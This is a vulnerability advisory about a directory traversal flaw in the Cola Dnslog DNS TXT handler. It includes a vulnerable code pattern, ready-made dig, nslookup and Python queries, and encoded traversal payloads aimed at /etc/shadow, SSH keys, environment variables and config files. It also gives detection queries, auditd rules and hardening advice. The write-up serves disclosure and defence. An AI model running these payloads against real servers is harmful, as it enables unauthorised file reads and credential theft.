CVE-2025-57403: Cola Dnslog DNS TXT Record Directory Traversal - When Your DNS Queries Escape the Sandbox

Executive Threat Summary

Attribute	Value
CVE Identifier	CVE-2025-57403
Vulnerability Title	Directory Traversal via DNS TXT Record Processing
CVSS v3.1 Score	7.5 (High) – Estimated
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Severity Rating	High
CWE Classification	CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected Product	Cola Dnslog
Vulnerable Version	v1.3.2 and potentially earlier
Fixed Version	Not yet confirmed
Exploit Availability	Conceptually exploitable / PoC easily derivable
Attack Vector	Network (Remote)
Attack Complexity	Low
Privileges Required	None (Unauthenticated)
User Interaction	None
Confidentiality Impact	High (Arbitrary file read)
Integrity Impact	None
Availability Impact	None
Vendor	AbelChe (Open Source Project)
Published Date	December 26, 2025

What Actually Went Wrong?

Cola Dnslog is a popular open-source platform used heavily by security researchers and penetration testers. It functions as an out-of-band (OOB) interaction and data exfiltration detection system, commonly leveraged to identify blind vulnerabilities such as SSRF, XXE, RCE, and Log4j exploitation paths. With support for DNS, HTTP, LDAP, and RMI logging, it has become a staple tool for red team operations and bug bounty testing.

The issue lies in the way Cola Dnslog processes DNS TXT record queries. When a TXT query is received, the application takes the queried value (or parts of it) and directly joins it with a predefined base directory using Python’s os.path.join function. On the surface, this looks harmless — but this is where a subtle yet dangerous behavior comes into play.

Python’s path handling has a well-documented quirk that is easy to overlook: if any argument passed to os.path.join is an absolute path, every path component before it is silently discarded. An attacker can abuse this behavior by injecting an absolute path into a DNS TXT query, effectively bypassing the directory boundaries the application was supposed to enforce.

Technical Breakdown

The `os.path.join` Pitfall

Many developers assume os.path.join will always append user input to a base directory. In reality, Python’s own documentation states:

“If a segment is an absolute path, then all previous segments are ignored and joining continues from the absolute path segment.”

>>> import os
>>> os.path.join('/safe/base/path', 'user_input.txt')
'/safe/base/path/user_input.txt'

>>> os.path.join('/safe/base/path', '/etc/passwd')
'/etc/passwd'

Likely Vulnerable Code Pattern

def handle_txt_record_query(query_url):
    base_path = "/var/coladnslog/txt_records/"
    file_path = os.path.join(base_path, query_url)
    with open(file_path, 'r') as f:
        return f.read()

End-to-End Attack Flow

Attacker sends crafted DNS TXT record
Absolute path or traversal payload is injected
Base directory restriction is bypassed
Arbitrary system files are read

Real-World Exploitation Scenarios

Scenario 1: Extracting Application Secrets

An attacker targets a Cola Dnslog deployment to retrieve sensitive configuration data:

dig TXT "/var/coladnslog/config.yaml" @target-dnslog-server.com
dig TXT "/home/coladnslog/.env" @target-dnslog-server.com

Scenario 2: System File Disclosure

Critical system files can be read to facilitate further compromise:

dig TXT "/etc/passwd" @target-dnslog-server.com
dig TXT "/etc/shadow" @target-dnslog-server.com
dig TXT "/root/.ssh/id_rsa" @target-dnslog-server.com
dig TXT "/proc/self/environ" @target-dnslog-server.com

Scenario 3: Cloud Credential Harvesting

If the service is running in a cloud environment, attackers may pivot toward metadata and environment variables:

dig TXT "/proc/net/fib_trie" @target-dnslog-server.com
dig TXT "/proc/self/environ" @target-dnslog-server.com

Proof-of-Concept Payloads

Basic Traversal Payloads

/etc/passwd
/etc/shadow
/etc/hosts

../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd

%2fetc%2fpasswd
..%252f..%252f..%252fetc/passwd

Application-Specific Targets

/var/coladnslog/config.yaml
/coladnslog/sqlite.db
/app/info.txt
/coladnslog/info.txt

/proc/1/cgroup
/proc/self/mountinfo
/.dockerenv

Crafted DNS Queries

dig TXT "$(echo -n '/etc/passwd' | xxd -p)" @vulnerable-server.com
nslookup -type=TXT "/etc/passwd" vulnerable-server.com

import dns.resolver
resolver = dns.resolver.Resolver()
resolver.nameservers = ['vulnerable-server-ip']
answer = resolver.resolve('/etc/passwd', 'TXT')

MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Application
Initial Access	T1190	Exploit Public-Facing Application	DNS service exposed on port 53
Discovery	T1083	File and Directory Discovery	Arbitrary file reads
Collection	T1005	Data from Local System	Sensitive config and credentials
Credential Access	T1552.001	Credentials in Files	`.env`, `/etc/shadow`, YAML configs
Privilege Escalation	T1068	Exploitation for Privilege Escalation	Credential reuse and pivoting
Exfiltration	T1048	Exfiltration Over Alternative Protocol	DNS-based data leakage

Detection Engineering

High-Value Log Sources

Log Source	Indicators	Priority
DNS Logs	TXT queries with path characters or encoding	Critical
Application Logs	File reads outside expected directories	High
System Audit Logs	Suspicious file access by Python process	High
Network Logs	Long or encoded DNS queries	Medium
FIM	Reads to `/etc`, `/proc`, `/root`	Medium

Indicators of Compromise

Suspicious DNS Behavior

TXT queries containing /etc/, /proc/, /home/, /var/
Presence of .. or encoded traversal sequences
Queries beginning with /
Excessively long or hex-encoded DNS names

File Access Red Flags

Reads outside /var/coladnslog/
Access to credential or SSH key files
Docker or container introspection files

Detection Rules

Microsoft Sentinel / KQL Queries

// Detect DNS TXT queries with path traversal indicators
DnsEvents
| where QueryType == "TXT"
| where Name contains "/etc/" 
    or Name contains "../"
    or Name contains "/proc/"
    or Name contains "/home/"
    or Name contains "/root/"
    or Name startswith "/"
    or Name contains "passwd"
    or Name contains "shadow"
    or Name contains "%2f"
| project TimeGenerated, Computer, ClientIP, Name, QueryType
| extend ThreatIndicator = "CVE-2025-57403 Path Traversal Attempt"
| order by TimeGenerated desc

// Hunt for Cola Dnslog specific targeting
DnsEvents
| where QueryType == "TXT"
| where Name contains "config.yaml"
    or Name contains "sqlite.db"
    or Name contains "coladnslog"
    or Name contains "info.txt"
| project TimeGenerated, Computer, ClientIP, Name
| summarize AttemptCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by ClientIP
| where AttemptCount > 3
| order by AttemptCount desc

Splunk Query for Detection

index=dns sourcetype=dns OR sourcetype=bro_dns
query_type=TXT 
(query="*/etc/*" OR query="*../*" OR query="*/proc/*" OR query="*/home/*" OR query="*passwd*" OR query="*%2f*")
| stats count by src_ip, query, _time
| where count > 1
| eval threat="CVE-2025-57403 Path Traversal"
| table _time, src_ip, query, count, threat

Linux Auditd Rules

bash

# Monitor file access by Cola Dnslog process
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/python3 -F path=/etc/passwd -k coladnslog_traversal
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/python3 -F path=/etc/shadow -k coladnslog_traversal
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/python3 -F dir=/etc -k coladnslog_etc_access
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/python

Official Patch Status

Resource	Link
GitHub Repository	https://github.com/AbelChe/cola_dnslog
Releases	https://github.com/AbelChe/cola_dnslog/releases
Issues	https://github.com/AbelChe/cola_dnslog/issues

Note: No official fix has been confirmed at the time of writing.

The Bigger Picture

Cola Dnslog is widely trusted infrastructure inside offensive security environments. A flaw at this layer does not just affect a single host — it risks exposing research data, credentials, internal tooling, and assessment context that attackers can later weaponize.

Path traversal bugs like this one are especially dangerous because they are:

Easy to exploit
Often overlooked during development
Capable of exposing far more than intended

Final Takeaway

CVE-2025-57403 is a textbook example of how small implementation assumptions can create high-impact vulnerabilities — especially in security tooling that implicitly assumes a trusted user base. By combining a network-exposed service (DNS) with unsafe path handling logic, Cola Dnslog unintentionally allows unauthenticated attackers to read arbitrary files from the host system.

The real risk here isn’t just file disclosure — it’s context exposure. Credentials, assessment artifacts, cloud secrets, and operational data stored on a Dnslog instance can all be silently exfiltrated over DNS, a protocol that is rarely inspected deeply in most environments.

Until an official patch is released, defense-in-depth is critical:

Treat Cola Dnslog as hostile-facing infrastructure
Lock it down with strict file permissions and isolation
Monitor DNS TXT queries aggressively
Assume compromise if suspicious traversal patterns appear

In short: a tool designed to catch blind vulnerabilities can itself become a blind spot if not properly secured.